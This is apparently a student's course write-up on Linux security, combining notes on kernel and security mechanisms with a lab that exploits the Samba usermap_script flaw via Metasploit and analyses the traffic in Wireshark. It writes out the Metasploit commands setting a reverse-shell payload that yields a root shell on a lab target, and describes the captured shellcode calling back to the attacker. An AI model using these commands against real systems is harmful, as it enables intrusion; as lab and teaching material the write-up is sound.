20199107 2019-2020-2 《网络攻防实践》第8次作业
这个作业属于哪个课程 | 《网络攻防实践》 |
这个作业的要求在哪里 | 《网络攻防实践》第8次作业 |
我在这个课程的目标是 | 学习新知识、考试拿高分 |
这个作业在哪个具体方面帮助我实现目标 | 学习Linux操作系统攻防技术 |
作业正文 | 见下文 |
其他参考文献 | 见文末 |
1.实践内容
Linux操作系统基本框架概述
-
Linux进程与线程管理机制
Linux内核采用抢占式多用户多进程模式(在系统调用中可以随时保留现场,进行任务切换),
多个进程并发活动,由内核的进程管理模块来负责调度硬件资源使用,
进程作为最基本的调度单元,维护一个进程控制块(PCB)结构,由内核schedule进程调度函数来选择进程。 -
Linux的内存管理机制
内存管理系统可以分为两部分,分别是内核空间内存管理和用户空间内存管理。
内存管理子系统的职责是:进程请求内存时分配可用内存,进程释放内存后回收内存,以及跟踪系统内存使用情况。
现代操作系统要求能够使多个程序共享系统资源,同时要求内存限制对于开发者是透明的。在这种情况下,虚拟内存应运而生。
虚拟内存可以使得进程可以访问比实际内存大得多的空间,并且使得多个程序共享内存显得更加有效。
当程序从内存中取得数据的时候,需要使用地址指出需要访问的内存位置(注意:这个地址是虚拟地址,他们组成的进程的虚拟地址空间)。
每个进程都有自己的虚拟地址空间,这样做的好处是可以防止非法读取或覆盖其他进程的数据。
(虚拟地址允许进程使用超过物理内存的内存空间,因此操作系统可以给每个进程提供独立的虚拟线性地址空间。) -
Linux的文件系统管理机制
使用虚拟文件管理(VFS)机制,支持数十种逻辑文件系统,并可对不同文件系统中的文件进行统一操作。
Linux内核缺省用的文件系统格式为Ext,用索引节点记录文件信息,包括文件长度、创建及修改时间、所属关系等。 -
Linux的设备处理机制
Linux内核中处理或者管理硬件控制器的软件叫设备驱动程序,本质上是特权的、驻留内存的低级的硬件控制例程的共享库。
Linux支持三类硬件设备:字符设备(直接读写,无缓冲区)、块设备(按照块的倍数读写,buffer cache)和网络设备(通过BSD socket接口访问)。
大多数设备驱动程序通过LKM可动态加载,需要时作为核心模块加载,不需要时卸载。 -
Linux的网络机制
Linux内核中的网络模块提供了对各种网络标准的存取和各种网络硬件的支持。
网络接口可分为网络协议栈和网络驱动程序。网络协议栈负责实现可能的网络传输协议,以及为上层网络应用提供的Socket接口。
网络设备驱动程序负责与硬件设备通信,每种硬件设备都有相应的驱动程序。
-
Linux的系统调用机制
运行于用户态的应用程序不能直接访问内核存储空间,因此Linux提供了系统调用接口,系统调用是用户空间访问内核的唯一手段,除异常和陷入外,他们是内核唯一的合法入口。系统调用通过软中断实现。
Linux操作系统安全机制
Linux身份认证机制
- 用户user
linux系统以用户为执行进程完成操作任务的主体,用户有不同的角色类型
用户类型 | 描述 |
---|---|
Root根用户 | 唯一拥有至高无上权限的超级用户 |
普通用户 | 普通 |
系统用户 | 不具有登录能力,但系统运行时不可缺少 |
-
用户组group
具有相同特征的用户账号集合,用于简化整个系统的用户权限管理。 -
Linux的本地登录认证机制
基本流程是,由init进程启动getty产生若干个虚拟控制台(如tty1, tty2等)。
getty执行登录login进程,进入登录认证过程。
登录login进程通过Crypt()函数来对用户输入的口令进行验证,为了提高安全性, Crypt()函数引入了salt值,
在用户设置密码时,会随机产生一个salt值,与用户的密码一起加密,得到加密口令字,并和salt一起保存在shadow文件中,
在对登录用户身份进行认证时,Crypt()函数会将用户输入口令与salt值一起加密,通过与保存的加密口令字进行对比,以确认用户身份是否真实。 -
Linux的远程登录认证机制
目前普遍使用SSH。
第一种方式为基于口令的身份认证,使用系统内建的账号和口令。
第二种方式为基于非对称密码的身份认证机制,需要用户自己生成公私钥对,把公钥交给服务器,
登录时服务器用用户公钥加密一个“质询”给用户,用户用私钥解密再发给服务器。 -
Linux统一身份认证中间件——PAM
为了能够给不同的应用软件、网络服务提供统一的身份认证机制,Linux系统中提供了PAM作为验证用户身份标准方法。
PAM通过提供一些动态链接库和一套统一API, 将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要,给不同的服务配置不同的认证方式,
而无须更改服务程序,同时也便于向系统中添加新的认证手段,如智能卡身份认证机制等。
PAM支持的管理界面 | 描述 |
---|---|
认证管理 | 主要是接受用户名和密码进行认证,并负责设置用户的一些秘密信息。 |
账户管理 | 主要是检查账户是否被允许登录,账号是否已经过期,账号的登录是否有时间段的限制等。 |
密码管理 | 主要是用来修改用户的密码。 |
会话管理 | 主要是提供对会话的管理和审计。 |
Linux的授权与访问控制机制
linux通过VFS实现对不同文件格式的支持,所有文件与设备资源的访问控制都通过VFS实现,主要通过:
-
文件的所有者
使用uid和gid来指明文件的所有者,在创建文件的时候自动设置 -
文件的访问权限
通过10个标志位设置,第1位为文件类型,第2至9位每3位为一组分为三组,
表示所有者、与所有者同组用户、其他用户对文件的读、写、执行权限 -
文件的特殊执行权限
包括SUID与SGID,允许执行文件在运行时刻从运行者的身份提升至文件所有者权限 -
不足
无法做到更细粒度的权限控制,如ACL。
Linux安全审计机制
主要通过三个日志子系统实现
子系统 | 描述 |
---|---|
连接时间日志 | 由多个程序执行,把记录写入到/var/log/wtmp和/var/run/utmp login等用户登录程序负责更新wtmp和utmp文件,使系统管理员能够跟踪谁在何时登录到系统。 |
进程统计日志 | 由系统内核执行,当一个进程终止时,为每个进程往进程统计文件(pacct或acet)中写一个纪录。 进程统计的目的是为系统中的基本服务提供命令使用统计。 |
错误日志记录 | 由通用的日志记录服务syslogd(8)执行, 各种系统守护进程、用户程序和内核通过syslog向文件/var/log/messages报告值得注意的事件。 |
Linux系统远程安全攻防技术
主要方式为以下四种:
- 对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击
- 发掘Linux系统某个监听网络服务的安全漏洞并进行利用,为攻击者提供本地Shell的访问权
- 通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,由客户端执行来安装和执行恶意程序
- 在Linux系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭到攻击者特意构造的数据包攻击,从而被取得访问权
目前流行的攻击技术:
-
Linux远程口令字猜测攻击
- 利用finger,rusers和sendmail等服务可列举目标上的用户账户名,之后通过字典或用一些软件猜测口令
- 常用工具:Brutus、THC Hydra、Cain and Abel等
- 防范措施:使用强口令,确保每个用户都有自己的账户和口令,特权账户只能本地登录,在多次无效登录之后记录并断开连接,
不要在自己登录的所有系统上都使用相同的口令字,不要笔录自己的口令字,使用基于公开密钥证书的身份认证机制
-
Linux网络服务远程渗透攻击
- 常见网络服务的安全漏洞
- 防范措施:禁用不必要的网络服务,尽量选择安全的网络协议和服务软件,及时更新网络服务版本,使用防火墙为网络服务添加访问控制,建立入侵检测与应急响应计划流程
- 常见网络服务的安全漏洞
-
攻击Linux客户端程序和用户
- 分为攻击客户端程序、攻击系统用户,主要都是利用漏洞进行攻击
- 防范措施:提高安全意识,对下载的文件进行完整性和真实性校验
-
攻击linux路由器和监听器
- 由于wireshark,libpcap和tcpdump等自身也存在漏洞,在Linux系统作为路由器或监听器也会受到攻击
- 防范措施:关注厂商安全报告,对硬件设备进行固件升级,及时修复漏洞
Linux系统本地安全攻防技术
-
Linux本地特权提升
- 常用方式有:破解Root用户口令,发掘su或sudo程序中的安全漏洞,攻击用户态SUID特权提升漏洞和攻击Linux内核代码特权提升漏洞
- 防范措施:安装软件时评估风险,及时对服务器进行升级维护,安全的配置系统,设置强口令字,使用SELinux等安全增强模块
-
Linux系统上的消踪灭迹
- 修改messages,auth,secure,wtmp,xferlog,.bash_history等日志文件以消踪灭迹
- 防范措施:将关键日志上传到安全服务器保存
-
Linux系统远程控制后门程序
- 后门程序主要有:特洛伊木马化的系统程序、命令行后门工具以及图形化后门工具
- 攻击者将rlogin,ssh等远程登录工具原有的系统程序替换,使其具有后门功能、
- 防范措施:使用防火墙、SElinux
2.实践过程
使用Metaploit进行Linux远程渗透攻击
任务:使用Metaspolit渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取靶机的主机访问权限。
机器 | 角色 | IP |
---|---|---|
kali | 攻击机 | 192.168.200.2 |
linux-metaspolitable | 靶机 | 192.168.200.5 |
msfconsole
启动metaspolit
info exploit/multi/samba/usermap_script
查看相关信息
即CVE-2007-2447。Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。
如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者执行任意命令。
show payloads
查看payload
set payload cmd/unix/reverse
选择payload
show options
查看参数,LHOST攻击机IP,RHOST靶机IP
set RHOST 192.168.200.125
设置靶机IP
set LHOST 192.168.200.2
设置攻击机IP
show options
exploit
,通过ifconfig
确认正确地得到shell,whoami
确认获得的权限为root
攻防对抗实践
任务:
- 攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
- 防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息
攻击方攻击同上文,查看抓包结果,可能是因为我是重新exploit了一次(忘了开wireshark)没有ARP包
对第一个包追踪TCP流,然后就震惊了,眼前出现了shellcode,超好找,一开始还觉得是不是找错了
sleep命令可以用来将目前动作延迟一段时间,然后telnet连接攻击机4444端口
sh命令是shell命令语言解释器,输入命令和内核沟通,2>&1等是数据流重定向,/dev/null是空设备,应该是在屏蔽靶机的标准输出流
查看包的内容可知,攻击机IP是192.168.200.2端口是37903,攻击的目标端口是139,时间4月20日9点多如图
因为是SMB协议,通过sh执行了恶意脚本,大概可以确定是利用了CVE-2007-2447了
继续跟踪TCP流,可以看到攻击机输入的命令
3.学习中遇到的问题及解决
- 问题1:对各种协议和漏洞还是不了解,虽然metaspolit会用了,但是一开始让我分析的时候还是蛮懵的
- 问题1解决方案:百度还是很靠谱的,而且可以开挂知道漏洞反推回去
4.实践总结
比起上一次的实践,感觉难度回复正常,虽然肯定也有这个漏洞和shellcode比较简单的原因,但总算是一个我能做的难度,这次没怎么看大佬的博客就做完了,好感动啊。
5.其他参考文献
- 《网络攻防技术与实践》(诸葛建伟著)
- Linux系统内存管理
- linux内核剖析(六)Linux系统调用详解(实现机制分析)
- Samba远程Shell命令注入执行漏洞